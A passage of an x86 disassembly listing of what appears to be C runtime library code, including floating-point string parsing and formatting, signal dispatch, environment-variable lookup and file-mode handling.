; sub_41EB13+DAj ...
dec edi
push 0Bh
jmp loc_41EDE3
; ---------------------------------------------------------------------------
loc_41EC23: ; CODE XREF: sub_41EB13+63j
; DATA XREF: seg000:off_41EFB4o
cmp bl, 31h ; jumptable 0041EB76 case 2
jl short loc_41EC31
cmp bl, 39h
jle loc_41EB87
loc_41EC31: ; CODE XREF: sub_41EB13+113j
cmp bl, ds:byte_437F60
jz loc_41EB96
cmp bl, 30h
jnz loc_41EDFB
loc_41EC46: ; CODE XREF: sub_41EB13+9Fj
; sub_41EB13+DFj
mov eax, edx
jmp loc_41EB6A
; ---------------------------------------------------------------------------
loc_41EC4D: ; CODE XREF: sub_41EB13+63j
; DATA XREF: seg000:off_41EFB4o
mov [ebp+var_10], edx ; jumptable 0041EB76 case 3
loc_41EC50: ; CODE XREF: sub_41EB13+184j
cmp ds:dword_437F5C, edx
jle short loc_41EC69
movzx eax, bl
push esi
push eax
call sub_418536
pop ecx
pop ecx
push 1
pop edx
jmp short loc_41EC77
; ---------------------------------------------------------------------------
loc_41EC69: ; CODE XREF: sub_41EB13+143j
mov ecx, ds:off_437D50
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_41EC77: ; CODE XREF: sub_41EB13+154j
test eax, eax
jz short loc_41EC99
cmp [ebp+var_4], 19h
jnb short loc_41EC91
mov eax, [ebp+var_C]
inc [ebp+var_4]
sub bl, 30h
inc [ebp+var_C]
mov [eax], bl
jmp short loc_41EC94
; ---------------------------------------------------------------------------
loc_41EC91: ; CODE XREF: sub_41EB13+16Cj
inc [ebp+var_8]
loc_41EC94: ; CODE XREF: sub_41EB13+17Cj
mov bl, [edi]
inc edi
jmp short loc_41EC50
; ---------------------------------------------------------------------------
loc_41EC99: ; CODE XREF: sub_41EB13+166j
cmp bl, ds:byte_437F60
jnz short loc_41ED08
loc_41ECA1: ; CODE XREF: sub_41EB13+CCj
mov eax, esi
jmp loc_41EB6A
; ---------------------------------------------------------------------------
loc_41ECA8: ; CODE XREF: sub_41EB13+63j
; DATA XREF: seg000:off_41EFB4o
cmp [ebp+var_4], 0 ; jumptable 0041EB76 case 4
mov [ebp+var_10], edx
mov [ebp+var_24], edx
jnz short loc_41ECC1
loc_41ECB4: ; CODE XREF: sub_41EB13+1ACj
cmp bl, 30h
jnz short loc_41ECC1
dec [ebp+var_8]
mov bl, [edi]
inc edi
jmp short loc_41ECB4
; ---------------------------------------------------------------------------
loc_41ECC1: ; CODE XREF: sub_41EB13+19Fj
; sub_41EB13+1A4j ...
cmp ds:dword_437F5C, edx
jle short loc_41ECDA
movzx eax, bl
push esi
push eax
call sub_418536
pop ecx
pop ecx
push 1
pop edx
jmp short loc_41ECE8
; ---------------------------------------------------------------------------
loc_41ECDA: ; CODE XREF: sub_41EB13+1B4j
mov ecx, ds:off_437D50
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_41ECE8: ; CODE XREF: sub_41EB13+1C5j
test eax, eax
jz short loc_41ED08
cmp [ebp+var_4], 19h
jnb short loc_41ED03
mov eax, [ebp+var_C]
inc [ebp+var_4]
sub bl, 30h
inc [ebp+var_C]
dec [ebp+var_8]
mov [eax], bl
loc_41ED03: ; CODE XREF: sub_41EB13+1DDj
mov bl, [edi]
inc edi
jmp short loc_41ECC1
; ---------------------------------------------------------------------------
loc_41ED08: ; CODE XREF: sub_41EB13+18Cj
; sub_41EB13+1D7j
cmp bl, 2Bh
jz loc_41EC1B
cmp bl, 2Dh
jz loc_41EC1B
jmp loc_41EBF4
; ---------------------------------------------------------------------------
loc_41ED1F: ; CODE XREF: sub_41EB13+63j
; DATA XREF: seg000:off_41EFB4o
cmp ds:dword_437F5C, edx ; jumptable 0041EB76 case 5
mov [ebp+var_24], edx
jle short loc_41ED3B
movzx eax, bl
push esi
push eax
call sub_418536
pop ecx
pop ecx
push 1
pop edx
jmp short loc_41ED49
; ---------------------------------------------------------------------------
loc_41ED3B: ; CODE XREF: sub_41EB13+215j
mov ecx, ds:off_437D50
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_41ED49: ; CODE XREF: sub_41EB13+226j
test eax, eax
jz loc_41EDFB
mov eax, esi
jmp short loc_41EDAC
; ---------------------------------------------------------------------------
loc_41ED55: ; CODE XREF: sub_41EB13+63j
; DATA XREF: seg000:off_41EFB4o
lea ecx, [edi-2] ; jumptable 0041EB76 case 6
cmp bl, 31h
mov [ebp+arg_8], ecx
jl short loc_41ED65
cmp bl, 39h
jle short loc_41EDA9
loc_41ED65: ; CODE XREF: sub_41EB13+24Bj
movsx eax, bl
sub eax, 2Bh
jz short loc_41EDE1
dec eax
dec eax
jz short loc_41EDD5
sub eax, 3
jnz loc_41EE89
loc_41ED7A: ; CODE XREF: sub_41EB13+2A4j
push 8
jmp short loc_41EDE3
; ---------------------------------------------------------------------------
loc_41ED7E: ; CODE XREF: sub_41EB13+63j
; DATA XREF: seg000:off_41EFB4o
mov [ebp+var_20], edx ; jumptable 0041EB76 case 8
loc_41ED81: ; CODE XREF: sub_41EB13+276j
cmp bl, 30h
jnz short loc_41ED8B
mov bl, [edi]
inc edi
jmp short loc_41ED81
; ---------------------------------------------------------------------------
loc_41ED8B: ; CODE XREF: sub_41EB13+271j
cmp bl, 31h
jl loc_41EE86
cmp bl, 39h
jg loc_41EE86
jmp short loc_41EDA9
; ---------------------------------------------------------------------------
loc_41ED9F: ; CODE XREF: sub_41EB13+63j
; DATA XREF: seg000:off_41EFB4o
cmp bl, 31h ; jumptable 0041EB76 case 7
jl short loc_41EDB2
cmp bl, 39h
jg short loc_41EDB2
loc_41EDA9: ; CODE XREF: sub_41EB13+250j
; sub_41EB13+28Aj
push 9
loc_41EDAB: ; CODE XREF: sub_41EB13+76j
pop eax
loc_41EDAC: ; CODE XREF: sub_41EB13+240j
dec edi
jmp loc_41EB6A
; ---------------------------------------------------------------------------
loc_41EDB2: ; CODE XREF: sub_41EB13+28Fj
; sub_41EB13+294j
cmp bl, 30h
jnz short loc_41EDFB
jmp short loc_41ED7A
; ---------------------------------------------------------------------------
loc_41EDB9: ; CODE XREF: sub_41EB13+63j
; DATA XREF: seg000:off_41EFB4o
cmp [ebp+arg_18], 0 ; jumptable 0041EB76 case 11
jz short loc_41EDE9
movsx eax, bl
lea ecx, [edi-1]
sub eax, 2Bh
mov [ebp+arg_8], ecx
jz short loc_41EDE1
dec eax
dec eax
jnz loc_41EE89
loc_41EDD5: ; CODE XREF: sub_41EB13+25Cj
or [ebp+var_18], 0FFFFFFFFh
push 7
pop eax
jmp loc_41EB6A
; ---------------------------------------------------------------------------
loc_41EDE1: ; CODE XREF: sub_41EB13+258j
; sub_41EB13+2B8j
push 7
loc_41EDE3: ; CODE XREF: sub_41EB13+85j
; sub_41EB13+103j ...
pop eax
jmp loc_41EB6A
; ---------------------------------------------------------------------------
loc_41EDE9: ; CODE XREF: sub_41EB13+2AAj
push 0Ah
dec edi
pop eax
loc_41EDED: ; CODE XREF: sub_41EB13+5Dj
; sub_41EB13+63j
; DATA XREF: ...
cmp eax, 0Ah ; default
; jumptable 0041EB76 case 10
jz loc_41EE8B
jmp loc_41EB6A
; ---------------------------------------------------------------------------
loc_41EDFB: ; CODE XREF: sub_41EB13+12Dj
; sub_41EB13+238j ...
mov edi, [ebp+arg_8]
jmp loc_41EE8B
; ---------------------------------------------------------------------------
loc_41EE03: ; CODE XREF: sub_41EB13+63j
; DATA XREF: seg000:off_41EFB4o
mov [ebp+var_20], 1 ; jumptable 0041EB76 case 9
xor esi, esi
loc_41EE0C: ; CODE XREF: sub_41EB13+339j
cmp ds:dword_437F5C, 1
jle short loc_41EE24
movzx eax, bl
push 4
push eax
call sub_418536
pop ecx
pop ecx
jmp short loc_41EE33
; ---------------------------------------------------------------------------
loc_41EE24: ; CODE XREF: sub_41EB13+300j
mov ecx, ds:off_437D50
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_41EE33: ; CODE XREF: sub_41EB13+30Fj
test eax, eax
jz short loc_41EE53
movsx ecx, bl
lea eax, [esi+esi*4]
lea esi, [ecx+eax*2-30h]
cmp esi, 1450h
jg short loc_41EE4E
mov bl, [edi]
inc edi
jmp short loc_41EE0C
; ---------------------------------------------------------------------------
loc_41EE4E: ; CODE XREF: sub_41EB13+334j
mov esi, 1451h
loc_41EE53: ; CODE XREF: sub_41EB13+322j
mov [ebp+var_1C], esi
loc_41EE56: ; CODE XREF: sub_41EB13+371j
cmp ds:dword_437F5C, 1
jle short loc_41EE6E
movzx eax, bl
push 4
push eax
call sub_418536
pop ecx
pop ecx
jmp short loc_41EE7D
; ---------------------------------------------------------------------------
loc_41EE6E: ; CODE XREF: sub_41EB13+34Aj
mov ecx, ds:off_437D50
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_41EE7D: ; CODE XREF: sub_41EB13+359j
test eax, eax
jz short loc_41EE86
mov bl, [edi]
inc edi
jmp short loc_41EE56
; ---------------------------------------------------------------------------
loc_41EE86: ; CODE XREF: sub_41EB13+99j
; sub_41EB13+E4j ...
dec edi
jmp short loc_41EE8B
; ---------------------------------------------------------------------------
loc_41EE89: ; CODE XREF: sub_41EB13+261j
; sub_41EB13+2BCj
mov edi, ecx
loc_41EE8B: ; CODE XREF: sub_41EB13+2DDj
; sub_41EB13+2EBj ...
mov eax, [ebp+arg_4]
cmp [ebp+var_10], 0
mov [eax], edi
jz loc_41EF73
push 18h
pop eax
cmp [ebp+var_4], eax
jbe short loc_41EEB7
cmp [ebp+var_45], 5
jl short loc_41EEAB
inc [ebp+var_45]
loc_41EEAB: ; CODE XREF: sub_41EB13+393j
mov [ebp+var_4], eax
mov eax, [ebp+var_C]
dec eax
inc [ebp+var_8]
jmp short loc_41EEBA
; ---------------------------------------------------------------------------
loc_41EEB7: ; CODE XREF: sub_41EB13+38Dj
mov eax, [ebp+var_C]
loc_41EEBA: ; CODE XREF: sub_41EB13+3A2j
cmp [ebp+var_4], 0
jbe loc_41EF69
loc_41EEC4: ; CODE XREF: sub_41EB13+3BDj
dec eax
cmp byte ptr [eax], 0
jnz short loc_41EED2
dec [ebp+var_4]
inc [ebp+var_8]
jmp short loc_41EEC4
; ---------------------------------------------------------------------------
loc_41EED2: ; CODE XREF: sub_41EB13+3B5j
lea eax, [ebp+var_40]
push eax
lea eax, [ebp+var_5C]
push [ebp+var_4]
push eax
call sub_41EA4C
mov eax, [ebp+var_1C]
xor ecx, ecx
add esp, 0Ch
cmp [ebp+var_18], ecx
jge short loc_41EEF1
neg eax
loc_41EEF1: ; CODE XREF: sub_41EB13+3DAj
add eax, [ebp+var_8]
cmp [ebp+var_20], ecx
jnz short loc_41EEFC
add eax, [ebp+arg_10]
loc_41EEFC: ; CODE XREF: sub_41EB13+3E4j
cmp [ebp+var_24], ecx
jnz short loc_41EF04
sub eax, [ebp+arg_14]
loc_41EF04: ; CODE XREF: sub_41EB13+3ECj
cmp eax, 1450h
jle short loc_41EF3B
mov [ebp+var_2C], 1
loc_41EF12: ; CODE XREF: sub_41EB13+436j
mov ebx, [ebp+arg_8]
mov esi, [ebp+arg_8]
mov eax, [ebp+arg_8]
mov edx, [ebp+arg_8]
loc_41EF1E: ; CODE XREF: sub_41EB13+454j
; sub_41EB13+45Ej
cmp [ebp+var_2C], 0
jz short loc_41EF84
xor ebx, ebx
mov eax, 7FFFh
mov esi, 80000000h
xor edx, edx
mov [ebp+var_14], 2
jmp short loc_41EF99
; ---------------------------------------------------------------------------
loc_41EF3B: ; CODE XREF: sub_41EB13+3F6j
cmp eax, 0FFFFEBB0h
jge short loc_41EF4B
mov [ebp+var_30], 1
jmp short loc_41EF12
; ---------------------------------------------------------------------------
loc_41EF4B: ; CODE XREF: sub_41EB13+42Dj
push [ebp+arg_C]
push eax
lea eax, [ebp+var_40]
push eax
call sub_41F6FC
mov edx, [ebp+var_40]
mov ebx, [ebp+var_40+2]
mov esi, [ebp+var_3A]
mov eax, [ebp+var_36]
add esp, 0Ch
jmp short loc_41EF1E
; ---------------------------------------------------------------------------
loc_41EF69: ; CODE XREF: sub_41EB13+3ABj
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
jmp short loc_41EF1E
; ---------------------------------------------------------------------------
loc_41EF73: ; CODE XREF: sub_41EB13+381j
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
mov [ebp+var_14], 4
jmp short loc_41EF99
; ---------------------------------------------------------------------------
loc_41EF84: ; CODE XREF: sub_41EB13+40Fj
cmp [ebp+var_30], 0
jz short loc_41EF99
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
mov [ebp+var_14], 1
loc_41EF99: ; CODE XREF: sub_41EB13+426j
; sub_41EB13+46Fj ...
mov ecx, [ebp+arg_0]
or eax, [ebp+var_28]
pop edi
mov [ecx+6], esi
mov [ecx+2], ebx
mov [ecx+0Ah], ax
mov eax, [ebp+var_14]
pop esi
mov [ecx], dx
pop ebx
leave
retn
sub_41EB13 endp
; ---------------------------------------------------------------------------
off_41EFB4 dd offset loc_41EB7D ; DATA XREF: sub_41EB13+63r
dd offset loc_41EBCC ; jump table for switch statement
dd offset loc_41EC23
dd offset loc_41EC4D
dd offset loc_41ECA8
dd offset loc_41ED1F
dd offset loc_41ED55
dd offset loc_41ED9F
dd offset loc_41ED7E
dd offset loc_41EE03
dd offset loc_41EDED
dd offset loc_41EDB9
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EFE4 proc near ; CODE XREF: sub_41DDBF+2Cp
var_1C = byte ptr -1Ch
var_1B = byte ptr -1Bh
var_1A = byte ptr -1Ah
var_19 = byte ptr -19h
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_10 = word ptr -10h
var_E = dword ptr -0Eh
var_A = dword ptr -0Ah
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = byte ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 1Ch
mov eax, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_14]
push esi
mov ecx, eax
mov esi, 7FFFh
and ecx, 8000h
and eax, esi
test cx, cx
push edi
mov [ebp+var_1C], 0CCh
mov [ebp+var_1B], 0CCh
mov [ebp+var_1A], 0CCh
mov [ebp+var_19], 0CCh
mov [ebp+var_18], 0CCh
mov [ebp+var_17], 0CCh
mov [ebp+var_16], 0CCh
mov [ebp+var_15], 0CCh
mov [ebp+var_14], 0CCh
mov [ebp+var_13], 0CCh
mov [ebp+var_12], 0FBh
mov [ebp+var_11], 3Fh
mov [ebp+var_4], 1
mov edx, eax
jz short loc_41F046
mov byte ptr [ebx+2], 2Dh
jmp short loc_41F04A
; ---------------------------------------------------------------------------
loc_41F046: ; CODE XREF: sub_41EFE4+5Aj
mov byte ptr [ebx+2], 20h
loc_41F04A: ; CODE XREF: sub_41EFE4+60j
mov edi, [ebp+arg_4]
test dx, dx
jnz short loc_41F070
test edi, edi
jnz short loc_41F070
cmp [ebp+arg_0], edi
jnz short loc_41F070
loc_41F05B: ; CODE XREF: sub_41EFE4+181j
and word ptr [ebx], 0
mov byte ptr [ebx+2], 20h
mov byte ptr [ebx+3], 1
mov byte ptr [ebx+4], 30h
jmp loc_41F26E
; ---------------------------------------------------------------------------
loc_41F070: ; CODE XREF: sub_41EFE4+6Cj
; sub_41EFE4+70j ...
cmp dx, si
jnz short loc_41F0EF
mov eax, 80000000h
mov word ptr [ebx], 1
cmp edi, eax
jnz short loc_41F089
cmp [ebp+arg_0], 0
jz short loc_41F098
loc_41F089: ; CODE XREF: sub_41EFE4+9Dj
test edi, 40000000h
jnz short loc_41F098
push offset a1Snan ; "1#SNAN"
jmp short loc_41F0DE
; ---------------------------------------------------------------------------
loc_41F098: ; CODE XREF: sub_41EFE4+A3j
; sub_41EFE4+ABj
test cx, cx
jz short loc_41F0B2
cmp edi, 0C0000000h
jnz short loc_41F0B2
cmp [ebp+arg_0], 0
jnz short loc_41F0D9
push offset a1Ind ; "1#IND"
jmp short loc_41F0C1
; ---------------------------------------------------------------------------
loc_41F0B2: ; CODE XREF: sub_41EFE4+B7j
; sub_41EFE4+BFj
cmp edi, eax
jnz short loc_41F0D9
cmp [ebp+arg_0], 0
jnz short loc_41F0D9
push offset a1Inf ; "1#INF"
loc_41F0C1: ; CODE XREF: sub_41EFE4+CCj
lea eax, [ebx+4]
push eax
call sub_415BE0
pop ecx
mov byte ptr [ebx+3], 5
pop ecx
loc_41F0D0: ; CODE XREF: sub_41EFE4+109j
and [ebp+var_4], 0
jmp loc_41F247
; ---------------------------------------------------------------------------
loc_41F0D9: ; CODE XREF: sub_41EFE4+C5j
; sub_41EFE4+D0j ...
push offset a1Qnan ; "1#QNAN"
loc_41F0DE: ; CODE XREF: sub_41EFE4+B2j
lea eax, [ebx+4]
push eax
call sub_415BE0
pop ecx
mov byte ptr [ebx+3], 6
pop ecx
jmp short loc_41F0D0
; ---------------------------------------------------------------------------
loc_41F0EF: ; CODE XREF: sub_41EFE4+8Fj
movzx eax, dx
mov ecx, edi
mov esi, eax
shr ecx, 18h
imul eax, 4D10h
shr esi, 8
and [ebp+var_10], 0
push 1
lea ecx, [esi+ecx*2]
mov [ebp+var_6], dx
imul ecx, 4Dh
mov [ebp+var_A], edi
lea esi, [ecx+eax-134312F4h]
mov eax, [ebp+arg_0]
sar esi, 10h
mov [ebp+var_E], eax
movsx eax, si
neg eax
push eax
lea eax, [ebp+var_10]
push eax
call sub_41F6FC
add esp, 0Ch
cmp [ebp+var_6], 3FFFh
jb short loc_41F150
lea eax, [ebp+var_1C]
inc esi
push eax
lea eax, [ebp+var_10]
push eax
call sub_41F4DC
pop ecx
pop ecx
loc_41F150: ; CODE XREF: sub_41EFE4+15Aj
test [ebp+arg_10], 1
mov [ebx], si
jz short loc_41F16A
mov edi, [ebp+arg_C]
movsx eax, si
add edi, eax
test edi, edi
jg short loc_41F16D
jmp loc_41F05B
; ---------------------------------------------------------------------------
loc_41F16A: ; CODE XREF: sub_41EFE4+173j
mov edi, [ebp+arg_C]
loc_41F16D: ; CODE XREF: sub_41EFE4+17Fj
cmp edi, 15h
jle short loc_41F175
push 15h
pop edi
loc_41F175: ; CODE XREF: sub_41EFE4+18Cj
movzx esi, [ebp+var_6]
sub esi, 3FFEh
and [ebp+var_6], 0
mov [ebp+arg_14], 8
loc_41F18B: ; CODE XREF: sub_41EFE4+1B4j
lea eax, [ebp+var_10]
push eax
call sub_41E9F1
dec [ebp+arg_14]
pop ecx
jnz short loc_41F18B
test esi, esi
jge short loc_41F1B5
neg esi
and esi, 0FFh
jle short loc_41F1B5
loc_41F1A8: ; CODE XREF: sub_41EFE4+1CFj
lea eax, [ebp+var_10]
push eax
call sub_41EA1F
dec esi
pop ecx
jnz short loc_41F1A8
loc_41F1B5: ; CODE XREF: sub_41EFE4+1B8j
; sub_41EFE4+1C2j
lea ecx, [edi+1]
lea eax, [ebx+4]
test ecx, ecx
mov [ebp+arg_14], eax
jle short loc_41F212
mov [ebp+arg_C], ecx
loc_41F1C5: ; CODE XREF: sub_41EFE4+229j
lea esi, [ebp+var_10]
lea edi, [ebp+arg_0]
movsd
movsd
lea eax, [ebp+var_10]
push eax
movsd
call sub_41E9F1
lea eax, [ebp+var_10]
push eax
call sub_41E9F1
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_10]
push eax
call sub_41E993
lea eax, [ebp+var_10]
push eax
call sub_41E9F1
mov al, byte ptr [ebp+var_6+1]
mov ecx, [ebp+arg_14]
and byte ptr [ebp+var_6+1], 0
add esp, 14h
add al, 30h
inc [ebp+arg_14]
dec [ebp+arg_C]
mov [ecx], al
jnz short loc_41F1C5
mov eax, [ebp+arg_14]
loc_41F212: ; CODE XREF: sub_41EFE4+1DCj
mov cl, [eax-1]
dec eax
dec eax
cmp cl, 35h
lea ecx, [ebx+4]
jl short loc_41F24F
loc_41F21F: ; CODE XREF: sub_41EFE4+248j
cmp eax, ecx
jb short loc_41F232
cmp byte ptr [eax], 39h
jnz short loc_41F22E
mov byte ptr [eax], 30h
dec eax
jmp short loc_41F21F
; ---------------------------------------------------------------------------
loc_41F22E: ; CODE XREF: sub_41EFE4+242j
cmp eax, ecx
jnb short loc_41F236
loc_41F232: ; CODE XREF: sub_41EFE4+23Dj
inc eax
inc word ptr [ebx]
loc_41F236: ; CODE XREF: sub_41EFE4+24Cj
inc byte ptr [eax]
loc_41F238: ; CODE XREF: sub_41EFE4+279j
sub al, bl
sub al, 3
mov [ebx+3], al
movsx eax, al
and byte ptr [eax+ebx+4], 0
loc_41F247: ; CODE XREF: sub_41EFE4+F0j
mov eax, [ebp+var_4]
loc_41F24A: ; CODE XREF: sub_41EFE4+291j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41F24F: ; CODE XREF: sub_41EFE4+239j
; sub_41EFE4+275j
cmp eax, ecx
jb short loc_41F25F
cmp byte ptr [eax], 30h
jnz short loc_41F25B
dec eax
jmp short loc_41F24F
; ---------------------------------------------------------------------------
loc_41F25B: ; CODE XREF: sub_41EFE4+272j
cmp eax, ecx
jnb short loc_41F238
loc_41F25F: ; CODE XREF: sub_41EFE4+26Dj
and word ptr [ebx], 0
mov byte ptr [ebx+2], 20h
mov byte ptr [ebx+3], 1
mov byte ptr [ecx], 30h
loc_41F26E: ; CODE XREF: sub_41EFE4+87j
and byte ptr [ebx+5], 0
push 1
pop eax
jmp short loc_41F24A
sub_41EFE4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F277 proc near ; CODE XREF: sub_41AB7C+3423p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
mov eax, edi
dec eax
dec eax
jz short loc_41F2DE
dec eax
dec eax
jz short loc_41F2CF
sub eax, 4
jz short loc_41F2CF
sub eax, 3
jz short loc_41F2CF
sub eax, 4
jz short loc_41F2C2
sub eax, 6
jz short loc_41F2B5
dec eax
jz short loc_41F2A8
or eax, 0FFFFFFFFh
jmp loc_41F3A0
; ---------------------------------------------------------------------------
loc_41F2A8: ; CODE XREF: sub_41F277+27j
mov esi, ds:dword_46974C
mov eax, offset dword_46974C
jmp short loc_41F2E9
; ---------------------------------------------------------------------------
loc_41F2B5: ; CODE XREF: sub_41F277+24j
mov esi, ds:dword_469748
mov eax, offset dword_469748
jmp short loc_41F2E9
; ---------------------------------------------------------------------------
loc_41F2C2: ; CODE XREF: sub_41F277+1Fj
mov esi, ds:dword_469750
mov eax, offset dword_469750
jmp short loc_41F2E9
; ---------------------------------------------------------------------------
loc_41F2CF: ; CODE XREF: sub_41F277+10j
; sub_41F277+15j ...
push edi
call sub_41F3A4
mov esi, [eax+8]
add eax, 8
pop ecx
jmp short loc_41F2E9
; ---------------------------------------------------------------------------
loc_41F2DE: ; CODE XREF: sub_41F277+Cj
mov esi, ds:dword_469744
mov eax, offset dword_469744
loc_41F2E9: ; CODE XREF: sub_41F277+3Cj
; sub_41F277+49j ...
cmp esi, 1
jnz short loc_41F2F5
xor eax, eax
jmp loc_41F3A0
; ---------------------------------------------------------------------------
loc_41F2F5: ; CODE XREF: sub_41F277+75j
test esi, esi
jnz short loc_41F300
push 3
call sub_417818
loc_41F300: ; CODE XREF: sub_41F277+80j
push ebx
push 8
pop ecx
cmp edi, ecx
jz short loc_41F312
cmp edi, 0Bh
jz short loc_41F312
cmp edi, 4
jnz short loc_41F338
loc_41F312: ; CODE XREF: sub_41F277+8Fj
; sub_41F277+94j
mov ebx, ds:dword_469524
and ds:dword_469524, 0
cmp edi, ecx
jnz short loc_41F367
mov edx, ds:dword_4383AC
mov ds:dword_4383AC, 8Ch
mov [ebp+arg_0], edx
jmp short loc_41F33B
; ---------------------------------------------------------------------------
loc_41F338: ; CODE XREF: sub_41F277+99j
mov ebx, [ebp+arg_0]
loc_41F33B: ; CODE XREF: sub_41F277+BFj
cmp edi, ecx
jnz short loc_41F367
mov eax, ds:dword_4383A0
mov ecx, ds:dword_4383A4
add ecx, eax
cmp eax, ecx
jge short loc_41F36E
lea edx, [eax+eax*2]
sub ecx, eax
lea edx, ds:438330h[edx*4]
loc_41F35C: ; CODE XREF: sub_41F277+ECj
and dword ptr [edx], 0
add edx, 0Ch
dec ecx
jnz short loc_41F35C
jmp short loc_41F36E
; ---------------------------------------------------------------------------
loc_41F367: ; CODE XREF: sub_41F277+AAj
; sub_41F277+C6j
and dword ptr [eax], 0
cmp edi, ecx
jnz short loc_41F37C
loc_41F36E: ; CODE XREF: sub_41F277+D7j
; sub_41F277+EEj
push ds:dword_4383AC
push 8
call esi
pop ecx
pop ecx
jmp short loc_41F38A
; ---------------------------------------------------------------------------
loc_41F37C: ; CODE XREF: sub_41F277+F5j
push edi
call esi
cmp edi, 0Bh
pop ecx
jz short loc_41F38A
cmp edi, 4
jnz short loc_41F39D
loc_41F38A: ; CODE XREF: sub_41F277+103j
; sub_41F277+10Cj
cmp edi, 8
mov ds:dword_469524, ebx
jnz short loc_41F39D
mov eax, [ebp+arg_0]
mov ds:dword_4383AC, eax
loc_41F39D: ; CODE XREF: sub_41F277+111j
; sub_41F277+11Cj
xor eax, eax
pop ebx
loc_41F3A0: ; CODE XREF: sub_41F277+2Cj
; sub_41F277+79j
pop edi
pop esi
pop ebp
retn
sub_41F277 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41F3A4 proc near ; CODE XREF: sub_41F277+59p
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov ecx, ds:dword_4383A8
cmp ds:dword_43832C, edx
push esi
mov eax, offset dword_438328
jz short loc_41F3D2
lea esi, [ecx+ecx*2]
lea esi, ds:438328h[esi*4]
loc_41F3C6: ; CODE XREF: sub_41F3A4+2Cj
add eax, 0Ch
cmp eax, esi
jnb short loc_41F3D2
cmp [eax+4], edx
jnz short loc_41F3C6
loc_41F3D2: ; CODE XREF: sub_41F3A4+16j
; sub_41F3A4+27j
lea ecx, [ecx+ecx*2]
pop esi
lea ecx, ds:438328h[ecx*4]
cmp eax, ecx
jnb short loc_41F3E6
cmp [eax+4], edx
jz short locret_41F3E8
loc_41F3E6: ; CODE XREF: sub_41F3A4+3Bj
xor eax, eax
locret_41F3E8: ; CODE XREF: sub_41F3A4+40j
retn
sub_41F3A4 endp
; =============== S U B R O U T I N E =======================================
sub_41F3E9 proc near ; CODE XREF: sub_41E142+23p
arg_0 = dword ptr 4
cmp ds:dword_46AAE8, 0
push ebx
push esi
mov esi, ds:dword_46949C
push edi
jz short loc_41F460
test esi, esi
jnz short loc_41F41A
cmp ds:dword_4694A4, esi
jz short loc_41F460
call sub_41F7B7
test eax, eax
jnz short loc_41F460
mov esi, ds:dword_46949C
test esi, esi
jz short loc_41F460
loc_41F41A: ; CODE XREF: sub_41F3E9+14j
mov ebx, [esp+0Ch+arg_0]
test ebx, ebx
jz short loc_41F460
push ebx
call sub_415CD0
pop ecx
mov edi, eax
loc_41F42B: ; CODE XREF: sub_41F3E9+6Dj
mov eax, [esi]
test eax, eax
jz short loc_41F460
push eax
call sub_415CD0
cmp eax, edi
pop ecx
jbe short loc_41F453
mov eax, [esi]
cmp byte ptr [eax+edi], 3Dh
jnz short loc_41F453
push edi
push ebx
push eax
call sub_41F778
add esp, 0Ch
test eax, eax
jz short loc_41F458
loc_41F453: ; CODE XREF: sub_41F3E9+51j
; sub_41F3E9+59j
add esi, 4
jmp short loc_41F42B
; ---------------------------------------------------------------------------
loc_41F458: ; CODE XREF: sub_41F3E9+68j
mov eax, [esi]
lea eax, [eax+edi+1]
jmp short loc_41F462
; ---------------------------------------------------------------------------
loc_41F460: ; CODE XREF: sub_41F3E9+10j
; sub_41F3E9+1Cj ...
xor eax, eax
loc_41F462: ; CODE XREF: sub_41F3E9+75j
pop edi
pop esi
pop ebx
retn
sub_41F3E9 endp
; =============== S U B R O U T I N E =======================================
sub_41F466 proc near ; CODE XREF: sub_41E82C+8Bp
; sub_41E82C+D9p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
cmp eax, ds:dword_46A8A0
jnb short loc_41F4CD
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, ds:dword_46A7A0[ecx*4]
lea edx, [ecx+eax*8+4]
mov cl, [ecx+eax*8+4]
test cl, 1
jz short loc_41F4CD
mov al, cl
mov esi, 8000h
and eax, 80h
cmp [esp+4+arg_4], esi
jnz short loc_41F4A6
and cl, 7Fh
jmp short loc_41F4B3
; ---------------------------------------------------------------------------
loc_41F4A6: ; CODE XREF: sub_41F466+39j
cmp [esp+4+arg_4], 4000h
jnz short loc_41F4C1
or cl, 80h
loc_41F4B3: ; CODE XREF: sub_41F466+3Ej
neg eax
sbb eax, eax
mov [edx], cl
and ax, 0C000h
add eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_41F4C1: ; CODE XREF: sub_41F466+48j
mov ds:dword_469474, 16h
jmp short loc_41F4D7
; ---------------------------------------------------------------------------
loc_41F4CD: ; CODE XREF: sub_41F466+Bj
; sub_41F466+27j
mov ds:dword_469474, 9
loc_41F4D7: ; CODE XREF: sub_41F466+65j
or eax, 0FFFFFFFFh
pop esi
retn
sub_41F466 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F4DC proc near ; CODE XREF: sub_41EFE4+165p
; sub_41F6FC+69p
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
